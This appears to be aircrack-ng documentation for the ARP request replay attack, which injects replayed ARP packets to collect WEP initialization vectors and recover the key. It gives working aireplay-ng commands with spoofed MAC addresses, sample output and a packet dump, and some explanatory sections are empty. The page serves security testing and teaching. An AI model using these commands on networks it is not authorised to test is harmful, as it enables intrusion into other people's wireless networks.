The classic ARP request replay attack is the most effective way to generate new initialization vectors (IVs), and works very reliably. The program listens for an ARP packet then retransmits it back to the access point. This, in turn, causes the access point to repeat the ARP packet with a new IV. The program retransmits the same ARP packet over and over. However, each ARP packet repeated by the access point has a new IVs. It is all these new IVs which allow you to determine the WEP key.
ARP is address resolution protocol: A TCP/IP protocol used to convert an IP address into a physical address, such as an Ethernet address. A host wishing to obtain a physical address broadcasts an ARP request onto the TCP/IP network. The host on the network that has the address in the request then replies with its physical hardware address.
ARP is the foundation of many attacks in the aircrack-ng suite. These links will allow you to learn more about ARP:
Basic usage:
aireplay-ng -3 -b 00:13:10:30:24:9C -h 00:11:22:33:44:55 ath0
Where:
There are two methods of replaying an ARP which was previously injected. The first and simplest method is to use the same command plus the “-r” to read the output file from your last successful ARP replay.
aireplay-ng -3 -b 00:13:10:30:24:9C -h 00:11:22:33:44:55 -r replay_arp-0219-115508.cap ath0
Where:
The second method is a special case of the interactive packet replay attack. It is presented here since it is complementary to the ARP request replay attack.
aireplay-ng -2 -r replay_arp-0219-115508.cap ath0
Where:
ath0 is the wireless card interface name
For all of these examples, use airmon-ng to put your card in monitor mode first. You cannot inject packets unless it is in monitor mode.
For this attack, you need either the MAC address of an associated client , or a fake MAC from attack 1. The simplest and easiest way is to utilize the MAC address of an associated client. This can be obtain via airodump-ng. The reason for using an associated MAC address is that the access point will only accept and repeat packets where the sending MAC address is “associated”.
You may have to wait for a couple of minutes, or even longer, until an ARP request shows up. This attack will fail if there is no traffic.
Enter this command:
aireplay-ng -3 -b 00:14:6c:7e:40:80 -h 00:0F:B5:88:AC:82 ath0
The system responds:
Saving ARP requests in replay_arp-0219-123051.cap You should also start airodump-ng to capture replies. Read 11978 packets (got 7193 ARP requests), sent 3902 packets...
Initially the last line will look similar to:
Read 39 packets (got 0 ARP requests), sent 0 packets...
Then when the attack is in progress, the zeroes show the actual counts as in the full sample above. You can also confirm this by running airodump-ng to capture the IVs being generated. It should show the data count increasing rapidly for the specific access point.
The second example we will look at is reusing the captured ARP from the example above. You will notice that it said the ARP requests were being saved in “replay_arp-0219-123051.cap”. So rather then waiting for a new ARP, we simply reuse the old ones with the “-r” parameter:
aireplay-ng -2 -r replay_arp-0219-123051.cap ath0
The system responds:
Size: 86, FromDS: 0, ToDS: 1 (WEP)
BSSID = 00:14:6C:7E:40:80
Dest. MAC = FF:FF:FF:FF:FF:FF
Source MAC = 00:0F:B5:88:AC:82
0x0000: 0841 0000 0014 6c7e 4080 000f b588 ac82 .A....l~@.......
0x0010: ffff ffff ffff 7092 e627 0000 7238 937c ......p..'..r8.|
0x0020: 8011 36c6 2b2c a79b 08f8 0c7e f436 14f7 ..6.+,.....~.6..
0x0030: 8078 a08e 207c 17c6 43e3 fe8f 1a46 4981 .x.. |..C....FI.
0x0040: 947c 1930 742a c85f 2699 dabe 1368 df39 .|.0t*._&....h.9
0x0050: ca97 0d9e 4731 ....G1
Use this packet ? y
You say “y” and then your system will start injecting:
Saving chosen packet in replay_src-0219-123117.cap You should also start airodump-ng to capture replies. Sent 3181 packets...
As well, you can alternatively use per the Usage Section above:
aireplay-ng -3 -b 00:13:10:30:24:9C -h 00:11:22:33:44:55 -r replay_arp-0219-115508.cap ath0
At this point, if you have not already done so, start airodump-ng to capture the IVs being generated. The data count should be increasing rapidly.
When you are testing at home, to generate an ARP packet to initiate the ARP injection, simply ping a non-existent IP on your network.
Simply because there are no ARP packets being broadcast into the air and on the network, nothing to replay. If aireplay-ng doesn't find any of the right packets, it will not be able to replay anything. Don't forget that 'replay' imply that there's some packets are being broadcast, already sent by a legitimate client/AP.
Although not a direct troubleshooting tip for the arp request reinjection attack, if you are unable to get the attack to work or there are no arp request packets coming from the access point, there is an alternate attack you should consider:
Also see the general aireplay-ng troubleshooting ideas: aireplay-ng usage troubleshooting.